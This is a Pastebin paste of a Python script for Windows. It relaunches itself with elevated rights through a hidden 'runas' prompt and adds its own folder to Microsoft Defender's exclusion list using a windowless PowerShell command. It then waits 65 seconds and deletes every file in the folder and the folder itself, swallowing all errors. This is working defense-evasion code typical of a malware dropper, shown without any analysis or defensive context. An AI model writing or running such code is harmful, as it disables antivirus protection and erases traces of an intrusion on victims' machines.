Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import sys
- import subprocess
- import ctypes
- from pathlib import Path
- import time
- import shutil
- def is_admin():
- try:
- return ctypes.windll.shell32.IsUserAnAdmin()
- except:
- return False
- def request_admin_privileges():
- try:
- pythonw_executable = Path(sys.executable).parent / "pythonw.exe"
- if not pythonw_executable.exists():
- pythonw_executable = "pythonw.exe"
- ctypes.windll.shell32.ShellExecuteW(
- None,
- "runas",
- str(pythonw_executable),
- " ".join(sys.argv),
- None,
- 0
- )
- except Exception:
- pass
- sys.exit(0)
- def add_defender_exclusion(folder_path):
- if not is_admin():
- return False
- command = f'powershell -Command Add-MpPreference -ExclusionPath "{str(folder_path)}"'
- process = None
- try:
- process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, creationflags=subprocess.CREATE_NO_WINDOW)
- stdout, stderr = process.communicate(timeout=20)
- return True
- except subprocess.TimeoutExpired:
- if process:
- process.kill()
- return False
- except Exception:
- return False
- if __name__ == "__main__":
- script_folder = Path(__file__).resolve().parent
- if not is_admin():
- request_admin_privileges()
- else:
- add_defender_exclusion(script_folder)
- time.sleep(65)
- try:
- for root, dirs, files in os.walk(script_folder, topdown=False):
- for name in files:
- file_path = os.path.join(root, name)
- try:
- os.remove(file_path)
- except OSError:
- pass
- for name in dirs:
- dir_path = os.path.join(root, name)
- try:
- os.rmdir(dir_path)
- except OSError:
- pass
- shutil.rmtree(script_folder, ignore_errors=True)
- except Exception:
- pass
- sys.exit(0)
- #exec
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement